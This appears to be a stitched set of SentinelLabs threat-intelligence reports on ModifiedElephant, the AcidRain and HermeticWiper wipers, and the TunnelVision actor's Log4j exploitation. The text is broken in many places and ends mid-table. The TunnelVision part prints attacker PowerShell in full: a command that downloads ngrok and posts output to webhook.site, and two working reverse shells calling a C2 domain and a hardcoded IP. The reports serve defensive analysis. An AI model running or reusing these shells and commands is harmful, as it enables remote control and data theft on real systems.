+nature of targeted surveillance and tasking, where multiple actors swoop in with diverse mechanisms
+to track the same group of individuals. These include private sector offensive actors (PSOAs) and
+groups with possible commercial facades to coordinate their illicit activities.
+Based on our analysis of ModifiedElephant, the group operates in an overcrowded target space and
+may have relations with other regional threat actors. From our visibility, we can
+t further disambiguate
+the shape of that relationship
+whether as part of an active umbrella organization, cooperation and
+sharing of technical resources and targets across threat groups, or simply coincidental overlaps.
+Some interesting overlaps are detailed below.
+ Multiple individuals targeted by ModifiedElephant over the years have also been either targeted
+or confirmed infected with mobile surveillance spyware. Amnesty International identified NSO
+Group
+s Pegasus being used in targeted attacks in 2019 against human rights defenders related
+to the Bhima Koregaon case. Additionally, the Bhima Koregaon case defendant Rona Wilson
+iPhone was targeted with Pegasus since 2017 based on a digital forensics analysis of an iTunes
+backup found in the forensic disk images analyzed by Arsenal Consulting.
+ Between February 2013 and January 2014 one target, Rona Wilson, received phishing
+emails that can be attributed to the SideWinder threat actor. The relationship between
+ModifiedElephant and SideWinder is unclear as only the timing and targets of their phishing
+emails overlap within our dataset. This could suggest that the attackers are being provided with
+similar tasking by a controlling entity, or that they work in concert somehow. SideWinder is a
+threat actor targeting government, military, and business entities primarily throughout Asia.
+ ModifiedElephant phishing email payloads (b822d8162dd540f29c0d8af28847246e) share
+infrastructure overlaps (new-agency[.]us) with Operation Hangover. Operation Hangover includes
+surveillance efforts against targets of interest to Indian national security, both foreign and
+domestic, in addition to industrial espionage efforts against organizations around the world.
+ Another curious finding is the inclusion of the string 
+Logs from Moosa
+ found in a keylogger sample
+closely associated with ModifiedElephant activity in 2012 (c14e101c055c9cb549c75e90d0a99c0a).
+The string could be a reference to Moosa Abd-Ali Ali, the Bahrain activist targeted around the
+same time, with FinFisher spyware. Without greater information, we treat this as a low confidence
+conjecture in need of greater research.
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+ATTRIBUTION
+Attributing an attacker like ModifiedElephant is an interesting challenge. At this time, we possess
+significant evidence of what the attacker has done over the past decade, a unique look into who
+they
+ve targeted, and a strong understanding of their technical objectives.
+We observe that ModifiedElephant activity aligns sharply with Indian state interests and that there
+is an observable correlation between ModifiedElephant attacks and the arrests of individuals in
+controversial, politically-charged cases.
+CONCLUSION
+The Bhima Koregaon case has offered a revealing perspective into the world of a threat actor willing
+to place significant time and resources into seeking the disruption of those with opposing views.
+Our profile of ModifiedElephant has taken a look at a small subset of the total list of potential
+targets, the attackers techniques, and a rare glimpse into their objectives. Many questions about
+this threat actor and their operations remain; however, one thing is clear: Critics of authoritarian
+governments around the world must carefully understand the technical capabilities of those who
+would seek to silence them.
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+Domain
+pahiclisting.ddns[.]net
+Domain
+bzone.no-ip[.]biz
+Domain
+johnmarcus.zapto[.]org
+Domain
+ramesh212121.zapto[.]org
+Domain
+atlaswebportal.zapto[.]org
+Domain
+testingnew.no-ip[.]org
+Domain
+nepal3.msntv[.]org
+Domain
+socialstatistics.zapto[.]org
+Domain
+socialstudies.zapto[.]org
+Domain
+gayakwaad[.]com
+Domain
+knudandersen.zapto[.]org
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+Type
+Label
+Domain
+jasonhistoryarticles.read-books[.]org
+Domain
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+Domain
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+greenpeacesite[.]com
+Domain
+new-agency[.]us
+Domain
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+Domain
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+TECHNICAL REFERENCES
+h t t p s : // w w w . a m n e s t y . o r g / e n / l a t e s t / r e s e a r c h / 2 0 2 0 / 0 6 / i n d i a human-rights-defenders-targeted-by-a-coordinated-spywareoperation/ [Archived]
+h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Rona-Wilson-Report-I.zip [Archived]
+h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Rona-Wilson-Report-II.zip [Archived]
+h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e Surendra-Gadling-Report-III.zip [Archived]
+h t t p s : // a r s e n a l e x p e r t s . c o m / p e r s i s t e n t / r e s o u r c e s / p a g e s / B K - C a s e R o n a - W i l s o n - R e p o r t - I V. z i p [ A r c h i v e d ]
+h t t p s : // w e b . a r c h i v e . o r g / w e b / 2 0 2 1 0 2 2 6 1 3 1 0 4 7/ h t t p s : // p a p e r .
+s e e b u g . o r g / p a p e r s /A P T /A P T _ C y b e r C r i m i n a l _ C a m p a g i n / 2 0 1 3 / N S U n ve i l i n g - a n - I n d i a n - C y b e ra t t a c k - I n f ra s t r u c t u re _ F I N A L _ We b . p d f
+h t t p s : // a r c h i v e . o r g / d o w n l o a d / u n v e i l i n g - a n - i n d i a n - c y b e r a t t a c k infrastructure-appendixes/Unveiling%20an%20Indian%20
+Cyberattack%20Infrastructure%20-%20appendixes.pdf
+h t t p s : // g i t h u b . c o m / m a l w a r e k i w i / P u b l i c - C o n t e n t / r a w / m a s t e r /
+G l o b a l % 2 0 P e r s p e c t i v e % 2 0 o f % 2 0 t h e % 2 0 S i d e W i n d e r % 2 0 A P T. p d f
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+ABOUT SENTINELLABS
+InfoSec works on a rapid iterative cycle where new discoveries occur daily and authoritative
+sources are easily drowned in the noise of partial information. SentinelLabs is an open venue
+for our threat researchers and vetted contributors to reliably share their latest findings with a
+wider community of defenders. No sales pitches, no nonsense. We are hunters, reversers, exploit
+developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime
+across all platforms. SentinelLabs embodies our commitment to sharing openly 
+providing tools,
+context, and insights to strengthen our collective mission of a safer digital life for all.
+MODI F IE DE L E P H ANT AP T AND A DE C ADE OF FAB RIC AT IN G E V I D E N C E
+AcidRain | A Modem Wiper Rains Down on Europe
+sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe
+Juan Andr
+s Guerrero-Saade
+By Juan Andres Guerrero-Saade (@juanandres_gs) and Max van Amerongen
+(@maxpl0it)
+Executive Summary
+On Thursday, February 24th, 2022, a cyber attack rendered Viasat KA-SAT modems
+inoperable in Ukraine.
+Spillover from this attack rendered 5,800 Enercon wind turbines in Germany unable to
+communicate for remote monitoring or control.
+Viasat
+s statement on Wednesday, March 30th, 2022 provides a somewhat plausible
+but incomplete description of the attack.
+SentinelLabs researchers discovered new malware that we named 
+AcidRain
+AcidRain is an ELF MIPS malware designed to wipe modems and routers.
+We assess with medium-confidence that there are developmental similarities between
+AcidRain and a VPNFilter stage 3 destructive plugin. In 2018, the FBI and Department
+of Justice attributed the VPNFilter campaign to the Russian government
+AcidRain is the 7th wiper malware associated with the Russian invasion of Ukraine.
+Update: In a statement disseminated to journalists, Viasat confirmed the use of the
+AcidRain wiper in an attack against their modems.
+Context
+The Russian invasion of Ukraine has included a wealth of cyber operations that have tested
+our collective assumptions about the role that cyber plays in modern warfare. Some
+commentators have voiced a bizarre disappointment at the 
+lack of cyber
+ while those at the
+coalface are overwhelmed by the abundance of cyber operations accompanying conventional
+warfare. From the beginning of 2022, we have dealt with six different strains of wiper
+malware targeting Ukraine: WhisperKill, WhisperGate, HermeticWiper, IsaacWiper,
+CaddyWiper, and DoubleZero. These attacks are notable on their own. But there
+s been an
+elephant in the room by way of the rumored 
+satellite modem hack
+. This particular attack
+goes beyond Ukraine.
+We first became aware of an issue with Viasat KA-SAT routers due to a reported outage of
+5,800 Enercon wind turbines in Germany. To clarify, the wind turbines themselves were not
+rendered inoperable but 
+remote monitoring and control of the wind turbines
+ became
+unavailable due to issues with satellite communications. The timing coincided with the
+Russian invasion of Ukraine and suspicions arose that an attempt to take out Ukrainian
+1/12
+military command-and-control capabilities by hindering satellite connectivity spilled over to
+affect German critical infrastructure. No technical details became available; technical
+speculation has been rampant.
+On Wednesday, March 30th, 2022, Viasat finally released a statement stating that the attack
+took place in two phases: First, a denial of service attack coming from 
+several SurfBeam2
+and SurfBeam2+ modems and [
+other on-prem equipment
+] physically located within
+Ukraine
+ that temporarily knocked KA-SAT modems offline. Then, the gradual
+disappearance of modems from the Viasat service. The actual service provider is in the midst
+of a complex arrangement where Eutalsat provides the service, but it
+s administered by an
+Italian company called Skylogic as part of a transition plan.
+The Viasat Explanation
+At the time of writing, Viasat has not provided any technical indicators nor an incident
+response report. They did provide a general sense of the attack chain with conclusions that
+are difficult to reconcile.
+Viasat reports that the attackers exploited a misconfigured VPN appliance, gained access to
+the trust management segment of the KA-SAT network, moved laterally, then used their
+access to 
+execute legitimate, targeted management commands on a large number of
+residential modems simultaneously
+. Viasat goes on to add that 
+these destructive commands
+overwrote key data in flash memory on the modems, rendering the modems unable to
+access the network, but not permanently unusable
+It remains unclear how legitimate commands could have such a disruptive effect on the
+modems. Scalable disruption is more plausibly achieved by pushing an update, script, or
+executable. It
+s also hard to envision how legitimate commands would enable either the DoS
+effects or render the devices unusable but not permanently bricked.
+In effect, the preliminary Viasat incident report posits the following requirements:
+1. Could be pushed via the KA-SAT management segment onto modems en masse
+2. Would overwrite key data in the modem
+s flash memory
+3. Render the devices unusable, in need of a factory reset or replacement but not
+permanently unusable.
+With those requirements in mind, we postulate an alternative hypothesis: The threat actor
+used the KA-SAT management mechanism in a supply-chain attack to push a wiper designed
+for modems and routers. A wiper for this kind of device would overwrite key data in the
+modem
+s flash memory, rendering it inoperable and in need of reflashing or replacing.
+Subsequent to this post begin published, Viasat confirmed to journalists that our analysis
+was consistent with their reports.
+2/12
+Viasat told BleepingComputer that 
+The analysis in the SentinelLabs report regarding the
+ukrop binary is consistent with the facts in our report 
+ specifically, SentinelLabs identifies
+the destructive executable that was run on the modems using a legitimate management
+command as Viasat previously described
+The AcidRain Wiper
+On Tuesday, March 15th, 2022, a suspicious upload caught our attention. A MIPS ELF binary
+was uploaded to VirusTotal from Italy with the name 
+ukrop
+. We didn
+t know how to parse
+the name accurately. Possible interpretations include a shorthand for 
+aine 
+eration,
+the acronym for the Ukrainian Association of Patriots, or a Russian ethnic slur for Ukrainians
+. Only the incident responders in the Viasat case could say definitively whether this
+was in fact the malware used in this particular incident. We posit its use as a fitting
+hypothesis and will describe its functionality, quirky development traits, and possible
+overlaps with previous Russian operations in need of further research.
+Technical Overview
+SHA256
+9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a
+SHA1
+86906b140b019fdedaaba73948d0c8f96a6b1b42
+ecbe1b1e30a1f4bffaf1d374014c877f
+Name
+ukrop
+3/12
+Magic
+ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
+stripped
+First
+Seen
+2022-03-15 15:08:02 UTC
+AcidRain
+s functionality is relatively straightforward and takes a bruteforce attempt that
+possibly signifies that the attackers were either unfamiliar with the particulars of the target
+firmware or wanted the tool to remain generic and reusable. The binary performs an in-depth
+wipe of the filesystem and various known storage device files. If the code is running as root,
+AcidRain performs an initial recursive overwrite and delete of non-standard files in the
+filesystem.
+Recursively delete files in nonstandard folders
+4/12
+Following this, it attempts to destroy the data in the following storage device files:
+Targeted Device(s)
+Description
+/dev/sd*
+A generic block device
+/dev/mtdblock*
+Flash memory (common in routers and IoT devices)
+/dev/block/mtdblock*
+Another potential way of accessing flash memory
+/dev/mtd*
+The device file for flash memory that supports fileops
+/dev/mmcblk*
+For SD/MMC cards
+/dev/block/mmcblk*
+Another potential way of accessing SD/MMC cards
+/dev/loop*
+Virtual block devices
+This wiper iterates over all possible device file identifiers (e.g., mtdblock0 
+ mtdblock99),
+opens the device file, and either overwrites it with up to 0x40000 bytes of data or (in the case
+of the /dev/mtd* device file) uses the following IOCTLS to erase it: MEMGETINFO,
+MEMUNLOCK, MEMERASE, and MEMWRITEOOB. In order to make sure that these writes
+have been committed, the developers run an fsync syscall.
+The code that generates the malicious data used to overwrite storage
+When the overwriting method is used instead of the IOCTLs, it copies from a memory region
+initialized as an array of 4-byte integers starting at 0xffffffff and decrementing at each
+index. This matches what others had seen after the exploit had taken place.
+5/12
+Side-by-side comparison of a Surfbeam2 modem pre- and post-attack
+The code for both erasure methods can be seen below:
+6/12
+Mechanisms to erase devices: write 0x40000 (left) or use MEM* IOCTLS (right)
+Once the various wiping processes are complete, the device is rebooted.
+7/12
+Redundant attempts to reboot the device
+This results in the device being rendered inoperable.
+An Interesting Oddity
+Despite what the Ukraine invasion has taught us, wiper malware is relatively rare. More so
+wiper malware aimed at routers, modems, or IoT devices. The most notable case is
+VPNFilter, a modular malware aimed at SOHO routers and QNAP storage devices,
+discovered by Talos. This was followed by an FBI indictment attributing the operation to
+Russia (APT28, in particular). More recently, the NSA and CISA attributed VPNFilter to
+Sandworm (a different threat actor attributed to the same organization, the Russian GRU) as
+the U.K.
+s National Cyber Security Centre (NCSC) described VPNFilter
+s successor, Cyclops
+Blink.
+8/12
+VPNFilter included an impressive array of functionality in the form of multi-stage plugins
+selectively deployed to the infected devices. The functionality ranges from credential theft to
+monitoring Modbus SCADA protocols. Among its many plugins, it also included functionality
+to wipe and brick devices as well as DDoS a target.
+The reason we bring up the specter of VPNFilter is not because of its superficial similarities
+to AcidRain but rather because of an interesting (but inconclusive) code overlap between a
+specific VPNFilter plugin and AcidRain.
+VPNFilter Stage 3 Plugin 
+dstr
+SHA256
+47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6
+SHA1
+261d012caa96d3e3b059a98388f743fb8d39fbd5
+20ea405d79b4de1b90de54a442952a45
+Description
+VPNFilter Stage 3, 
+dstr
+ module
+Magic
+ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked,
+stripped
+First Seen
+2018-06-06 13:02:56 UTC
+After the initial discovery of VPNFilter, additional plugins were revealed by researchers
+attempting to understand the massive spread of the botnet and its many intricacies. Among
+these were previously unknown plugins, including 
+dstr
+. As the mangled name suggests, it
+destruction
+ module meant to supplement stage 2 plugins that lacked the 
+kill
+ command
+meant to wipe the devices.
+This plugin was brought to our attention initially by tlsh fuzzy hashing, a more recent
+matching library that
+s proven far more effective than ssdeep or imphash in identifying
+similar samples. The similarity was at 55% to AcidRain with no other samples being flagged
+in the VT corpus. This alone is not nearly enough to conclusively judge the two samples as
+tied, but it did warrant further investigation.
+VPNFilter and AcidRain are both notably similar and dissimilar. They
+re both MIPS ELF
+binaries and the bulk of their shared code appears to stem from statically-linked libc. It
+appears that they may also share a compiler, most clearly evidenced by the identical Section
+Headers Strings Tables.
+9/12
+Section Headers Strings Tables for VPNFilter and AcidRain
+And there are other development quirks, such as the storing of the previous syscall number
+to a global location before a new syscall. At this time, we can
+t judge whether this is a shared
+compiler optimization or a strange developer quirk.
+More notably, while VPNFilter and AcidRain work in very different ways, both binaries make
+use of the MEMGETINFO, MEMUNLOCK, and MEMERASE IOCTLS to erase mtd device
+files.
+On the left, AcidRain; on the right, VPNFilter
+There are also notable differences between VPNFilter
+dstr
+ plugin and AcidRain. The latter
+appears to be a far sloppier product that doesn
+t consistently rise to the coding standards of
+the former. For example, note the redundant use of process forking and needless repetition
+10/12
+of operations.
+They also appear to serve different purposes, with the VPNFilter plugin targeting specific
+devices with hardcoded paths, and AcidRain taking more of a 
+one-binary-fits-all
+ approach
+to wiping devices. By brute forcing device filenames, the attackers can more readily reuse
+AcidRain against more diverse targets.
+We invite the research community to stress test this developmental overlap and contribute
+their own findings.
+Conclusions
+As we consider what
+s possibly the most important cyber attack in the ongoing Russian
+invasion of Ukraine, there are many open questions. Despite Viasat
+s statement claiming that
+there was no supply-chain attack or use of malicious code on the affected routers, we posit
+the more plausible hypothesis that the attackers deployed AcidRain (and perhaps other
+binaries and scripts) to these devices in order to conduct their operation.
+While we cannot definitively tie AcidRain to VPNFilter (or the larger Sandworm threat
+cluster), we note a medium-confidence assessment of non-trivial developmental similarities
+between their components and hope the research community will continue to contribute
+their findings in the spirit of collaboration that has permeated the threat intelligence industry
+over the past month.
+References
+https://www.wired.com/story/viasat-internet-hack-ukraine-russia/
+https://www.cisa.gov/uscert/ncas/alerts/aa22-076a
+https://media.defense.gov/2022/Jan/25/2002927101/-1/-1/0/CSA_PROTECTING_VSAT_
+COMMUNICATIONS_01252022.PDF
+https://www.airforcemag.com/hackers-attacked-satellite-terminals-through-managementnetwork-viasat-officials-say/
+https://nps.edu/documents/104517539/104522593/RELIEF12-4_QLR.pdf/9cc03d09-9af4410e-b601-a8bffdae0c30
+https://www.reuters.com/business/media-telecom/exclusive-hackers-who-crippled-viasatmodems-ukraine-are-still-active-company-2022-03-30/
+https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/
+https://blog.talosintelligence.com/2018/05/VPNFilter.html
+https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1
+https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html
+https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf
+https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-stillcompromised-.html
+https://www.cisa.gov/uscert/ncas/alerts/aa22-054a
+11/12
+12/12
+HermeticWiper | New Destructive Malware Used In Cyber
+Attacks on Ukraine
+sentinelone.com/labs/hermetic-wiper-ukraine-under-attack
+Juan Andr
+s Guerrero-Saade
+Executive Summary
+On February 23rd, the threat intelligence community began observing a new wiper
+malware sample circulating in Ukrainian organizations.
+Our analysis shows a signed driver is being used to deploy a wiper that targets Windows
+devices, manipulating the MBR resulting in subsequent boot failure.
+This blog includes the technical details of the wiper, dubbed HermeticWiper, and
+includes IOCs to allow organizations to stay protected from this attack.
+This sample is actively being used against Ukrainian organizations, and this blog will be
+updated as more information becomes available.
+SentinelOne customers are protected from this threat, no action is needed.
+Background
+On February 23rd, our friends at Symantec and ESET research tweeted hashes associated
+with a wiper attack in Ukraine, including one which is not publicly available as of this
+writing.
+We started analyzing this new wiper malware, calling it 
+HermeticWiper
+ in reference to the
+digital certificate used to sign the sample. The digital certificate is issued under the company
+name 
+Hermetica Digital Ltd
+ and valid as of April 2021. At this time, we haven
+t seen any
+legitimate files signed with this certificate. It
+s possible that the attackers used a shell
+company or appropriated a defunct company to issue this digital certificate.
+HermeticWiper Digital Signature
+This is an early effort to analyze the first available sample of HermeticWiper. We recognize
+that the situation on the ground in Ukraine is evolving rapidly and hope that we can
+contribute our small part to the collective analysis effort.
+Technical Analysis
+At first glance, HermeticWiper appears to be a custom-written application with very few
+standard functions. The malware sample is 114KBs in size and roughly 70% of that is
+composed of resources. The developers are using a tried and tested technique of wiper
+malware, abusing a benign partition management driver, in order to carry out the more
+damaging components of their attacks. Both the Lazarus Group (Destover) and APT33
+(Shamoon) took advantage of Eldos Rawdisk in order to get direct userland access to the
+filesystem without calling Windows APIs. HermeticWiper uses a similar technique by
+abusing a different driver, empntdrv.sys .
+HermeticWiper resources containing EaseUS Partition Manager drivers
+The copies of the driver are ms-compressed resources. The malware deploys one of these
+depending on the OS version, bitness, and SysWow64 redirection.
+EaseUS driver resource selection
+The benign EaseUS driver is abused to do a fair share of the heavy-lifting when it comes to
+accessing Physical Drives directly as well as getting partition information. This adds to the
+difficulty of analyzing HermeticWiper, as a lot of functionality is deferred to
+DeviceIoControl calls with specific IOCTLs.
+MBR and Partition Corruption
+HermeticWiper enumerates a range of Physical Drives multiple times, from 0-100. For each
+Physical Drive, the \\.\EPMNTDRV\ device is called for a device number.
+The malware then focuses on corrupting the first 512 bytes, the Master Boot Record (MBR)
+for every Physical Drive. While that should be enough for the device not to boot again,
+HermeticWiper proceeds to enumerate the partitions for all possible drives.
+They then differentiate between FAT and NTFS partitions. In the case of a FAT partition, the
+malware calls the same 
+bit fiddler
+ to corrupt the partition. For NTFS, the HermeticWiper
+parses the Master File Table before calling this same bit fiddling function again.
+MFT parsing and bit fiddling calls
+We euphemistically refer to the bit fiddling function in the interest of brevity. Looking
+through it, we see calls to Windows APIs to acquire a cryptographic context provider and
+generate random bytes. It
+s likely this is being used for an inlined crypto implementation and
+byte overwriting, but the mechanism isn
+t entirely clear at this time.
+Further functionality refers to interesting MFT fields ( $bitmap , $logfile ) and NTFS
+streams ( $DATA , $I30 , $INDEX_ALLOCATION ). The malware also enumerates common
+folders (
+My Documents
+Desktop
+AppData
+), makes references to the registry (
+ntuser
+and Windows Event Logs ( "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" ). Our
+analysis is ongoing to determine how this functionality is being used, but it is clear that
+having already corrupted the MBR and partitions for all drives, the victim system should be
+inoperable by this point of the execution.
+Along the way, HermeticWiper
+s more mundane operations provide us with further IOCs to
+monitor for. These include the momentary creation of the abused driver as well as a system
+service. It also modifies several registry keys, including setting the
+SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled key to 0,
+effectively disabling crash dumps before the abused driver
+s execution starts.
+Disabling CrashDumps via the registry
+Finally, the malware waits on sleeping threads before initiating a system shutdown, finalizing
+the malware
+s devastating effect.
+Conclusion
+After a week of defacements and increasing DDoS attacks, the proliferation of sabotage
+operations through wiper malware is an expected and regrettable escalation. At this time, we
+have a very small sliver of aperture into the attacks in Ukraine and subsequent spillover into
+neighboring countries and allies. If there
+s a silver lining to such a difficult situation, it
+seeing the open collaboration between threat intel research teams, independent researchers,
+and journalists looking to get the story straight. Our thanks to the researchers at Symantec,
+ESET, Stairwell, and RedCanary among others who
+ve contributed samples, time, and
+expertise.
+SentinelOne Customers Protected
+Watch Video At: https://youtu.be/keWfVA6F4IM
+Indicators of Compromise
+HermeticWiper
+SHA1
+Win32 EXE
+912342f1c840a42f6b74132f8a7c4ffe7d40fb77
+Win32 EXE
+61b25d11392172e587d8da3045812a66c3385451
+ms-compressed
+SHA1
+RCDATA_DRV_X64
+a952e288a1ead66490b3275a807f52e5
+RCDATA_DRV_X86
+231b3385ac17e41c5bb1b1fcb59599c4
+RCDATA_DRV_XP_X64
+095a1678021b034903c85dd5acb447ad
+RCDATA_DRV_XP_X86
+eb845b7a16ed82bd248e395d9852f467
+rule MAL_HERMETIC_WIPER {
+meta:
+desc = "HermeticWiper - broad hunting rule"
+author = "Friends @ SentinelLabs"
+version = "1.0"
+last_modified = "02.23.2022"
+hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
+strings:
+$string1 = "DRV_XP_X64" wide ascii nocase
+$string2 = "EPMNTDRV\\%u" wide ascii nocase
+$string3 = "PhysicalDrive%u" wide ascii nocase
+$cert1 = "Hermetica Digital Ltd" wide ascii nocase
+condition:
+uint16(0) == 0x5A4D and
+all of them
+Log4j2 In The Wild | Iranian-Aligned Threat Actor
+TunnelVision
+ Actively Exploiting VMware Horizon
+sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon
+Amitai Ben Shushan Ehrlich
+By Amitai Ben Shushan Ehrlich and Yair Rigevsky
+Executive Summary
+SentinelLabs has been tracking the activity of an Iranian-aligned threat actor operating
+in the Middle-East and the US.
+Due to the threat actor
+s heavy reliance on tunneling tools, as well as the unique way it
+chooses to widely deploy those, we track this cluster of activity as TunnelVision.
+Much like other Iranian threat actors operating in the region lately, TunnelVision
+activities were linked to deployment of ransomware, making the group a potentially
+destructive actor.
+Overview
+TunnelVision activities are characterized by wide-exploitation of 1-day vulnerabilities in
+target regions. During the time we
+ve been tracking this actor, we have observed wide
+exploitation of Fortinet FortiOS (CVE-2018-13379), Microsoft Exchange (ProxyShell) and
+recently Log4Shell. In almost all of those cases, the threat actor deployed a tunneling tool
+wrapped in a unique fashion. The most commonly deployed tunneling tools used by the
+group are Fast Reverse Proxy Client (FRPC) and Plink.
+TunnelVision activities are correlated to some extent with parts of Microsoft
+s Phosphorus, as
+discussed further in the Attribution section.
+In this post, we highlight some of the activities we recently observed from TunnelVision
+operators, focusing around exploitation of VMware Horizon Log4j vulnerabilities.
+VMware Horizon Exploitation
+The exploitation of Log4j in VMware Horizon is characterized by a malicious process
+spawned from the Tomcat service of the VMware product ( C:\Program
+Files\VMware\VMware View\Server\bin\ws_TomcatService.exe ).
+TunnelVision attackers have been actively exploiting the vulnerability to run malicious
+PowerShell commands, deploy backdoors, create backdoor users, harvest credentials and
+perform lateral movement.
+Typically, the threat actor initially exploits the Log4j vulnerability to run PowerShell
+commands directly, and then runs further commands by means of PS reverse shells, executed
+via the Tomcat process.
+PowerShell Commands
+TunnelVision operators exploited the Log4j vulnerability in VMware Horizon to run
+PowerShell commands, sending outputs back utilizing a webhook. In this example, the threat
+actor attempted to download ngrok to a compromised VMware Horizon server:
+try{
+(New-Object
+System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Pu
+Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
+$a=iex 'dir "c://Users//public//"' | Out-String;
+iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
+}catch{
+iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} UseBasicParsing;
+Throughout the activity the usage of multiple legitimate services was observed. Given an
+environment is compromised by TunnelVision, it might be helpful to look for outbound
+connections to any of those legitimate public services:
+transfer.sh
+pastebin.com
+webhook.site
+ufile.io
+raw.githubusercontent.com
+Reverse Shell #1
+$c = ""
+$p = ""
+$r = ""
+$u = "hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS"
+$wc = New-Object System.Net.WebClient
+$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0];
+$c = "whoami"
+$c = 'Write-Host " ";'+$c
+$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
+$ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
+while($true)
+$c = $wc.DownloadString("$u/$env:COMPUTERNAME-$li/123.txt")
+$c = 'Write-Host " ";'+$c
+if($c -ne $p)
+$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
+$p = $c
+$ur = $wc.UploadFile("$u/phppost.php" ,
+"c:\programdata\$env:COMPUTERNAME-$li")
+sleep 3
+Reverse Shell #1 was used in the past by TunnelVision operators
+(7feb4d36a33f43d7a1bb254e425ccd458d3ea921), utilizing a different C2 server:
+hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS
+. This C2 was referenced in several
+articles analyzing TunnelVision activities.
+Throughout the activity the threat actor leveraged another domain, servicemanagement[.]tk , used to host malicious payloads. According to VirusTotal, this domain
+was also used to host a zip file (d28e07d2722f771bd31c9ff90b9c64d4a188435a) containing a
+custom backdoor (624278ed3019a42131a3a3f6e0e2aac8d8c8b438).
+The backdoor drops an additional executable file
+(e76e9237c49e7598f2b3f94a2b52b01002f8e862) to %ProgramData%\Installed
+Packages\InteropServices.exe and registers it as a service named 
+InteropServices
+The dropped executable contains an obfuscated version of the reverse shell as described
+above, beaconing to the same C2 server ( www[.]microsoft-updateserver[.]cf ).
+Although it is not encrypted, it is deobfuscated and executed in a somewhat similar manner
+to how PowerLess, another backdoor used by the group, executes its PowerShell payload.
+Reverse Shell #2
+$hst = "51.89.135.142";
+$prt = 443;
+function watcher() {;
+$limit = (Get - Random - Minimum 3 - Maximum 7);
+$stopWatch = New - Object - TypeName System.Diagnostics.Stopwatch;
+$timeSpan = New - TimeSpan - Seconds $limit;
+$stopWatch.Start();
+while ((($stopWatch.Elapsed).TotalSeconds - lt $timeSpan.TotalSeconds) ) {};
+$stopWatch.Stop();
+watcher;
+$arr = New - Object int[] 500;
+for ($i = 0;
+$i - lt 99;
+$i++) {;
+$arr[$i] = (Get - Random - Minimum 1 - Maximum 25);
+if ($arr[0] - gt 0) {;
+$valksdhfg = New - Object System.Net.Sockets.TCPClient($hst, $prt);
+$banljsdfn = $valksdhfg.GetStream();
+[byte[]]$bytes = 0..65535|% {
+while (($i = $banljsdfn.Read($bytes, 0, $bytes.Length)) - ne 0) {;
+$lkjnsdffaa = (New - Object - TypeName
+System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
+$nsdfgsahjxx = (&(gcm('*ke-exp*')) $lkjnsdffaa 2 > &1 | Out - String );
+$nsdfgsahjxx2 = $nsdfgsahjxx + (pwd).Path + "> ";
+$sendbyte = ([text.encoding]::ASCII).GetBytes($nsdfgsahjxx2);
+$banljsdfn.Write($sendbyte, 0, $sendbyte.Length);
+$banljsdfn.Flush();
+watcher
+$valksdhfg.Close();
+Most of the 
+online
+ activities we observed were performed from this PowerShell backdoor. It
+seems to be a modified variant of a publicly available PowerShell one-liner.
+Among those activities were:
+Execution of recon commands.
+Creation of a backdoor user and adding it to the administrators group.
+Credential harvesting using Procdump, SAM hive dumps and comsvcs MiniDump.
+Download and execution of tunneling tools, including Plink and Ngrok, used to tunnel
+RDP traffic.
+Execution of a reverse shell utilizing VMware Horizon NodeJS component[1,2].
+Internal subnet RDP scan using a publicly available port scan script.
+Throughout the activity, the threat actor utilized a github repository 
+VmWareHorizon
+ of an
+account owned by the threat actor, using the name 
+protections20
+Attribution
+TunnelVision activities have been discussed previously and are tracked by other vendors
+under a variety of names, such as Phosphorus (Microsoft) and, confusingly, either Charming
+Kitten or Nemesis Kitten (CrowdStrike).
+This confusion arises since activity that Microsoft recognizes as a single group,
+Phosphorous
+, overlaps with activity that CrowdStrike distinguishes as belonging to two
+different actors, Charming Kitten and Nemesis Kitten.
+We track this cluster separately under the name 
+TunnelVision
+. This does not imply we
+believe they are necessarily unrelated, only that there is at present insufficient data to treat
+them as identical to any of the aforementioned attributions.
+Indicators of Compromise
+TYPE
+INDICATOR
+NOTES
+Domain
+www[.]microsoftupdateserver[.]cf
+Command and Control (C2) Server
+Domain
+www[.]service-management[.]tk
+Payload server
+51.89.169[.]198
+Command and Control (C2) Server
+142.44.251[.]77
